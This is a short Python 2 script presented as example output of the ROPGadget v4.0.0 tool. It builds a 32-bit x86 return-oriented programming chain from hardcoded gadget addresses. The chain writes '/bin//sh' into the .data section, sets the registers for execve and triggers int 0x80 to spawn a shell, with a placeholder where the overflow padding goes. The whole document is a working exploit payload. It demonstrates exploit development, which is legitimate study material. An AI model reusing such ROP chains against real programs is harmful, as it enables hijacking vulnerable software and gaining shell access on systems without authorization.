ROPGadget v4.0.0 example

#!/usr/bin/python
# execve generated by Ropgadget v4.0.0
from struct import pack

p = ''
# Padding goes here

p += pack("<I", 0x08050dda) # pop %edx ; ret
p += pack("<I", 0x080cd6a0) # @ .data
p += pack("<I", 0x080a49f6) # pop %eax ; ret
p += "/bin" # /bin
p += pack("<I", 0x080796ed) # mov %eax,(%edx) ; ret
p += pack("<I", 0x08050dda) # pop %edx ; ret
p += pack("<I", 0x080cd6a4) # @ .data + 4
p += pack("<I", 0x080a49f6) # pop %eax ; ret
p += "/shA" # /shA
p += pack("<I", 0x080796ed) # mov %eax,(%edx) ; ret
p += pack("<I", 0x08050dda) # pop %edx ; ret
p += pack("<I", 0x080cd6a7) # @ .data + 7
p += pack("<I", 0x080577f0) # xor %eax,%eax ; ret
p += pack("<I", 0x080796ed) # mov %eax,(%edx) ; ret
p += pack("<I", 0x08048144) # pop %ebx ; ret
p += pack("<I", 0x080cd6a0) # @ .data
p += pack("<I", 0x080c4f5a) # pop %ecx ; ret
p += pack("<I", 0x080cd6a7) # @ .data + 7
p += pack("<I", 0x08050dda) # pop %edx ; ret
p += pack("<I", 0x080cd6a7) # @ .data + 7
p += pack("<I", 0x080577f0) # xor %eax,%eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x0806afaf) # inc %eax ; ret
p += pack("<I", 0x08049129) # int $0x80
print p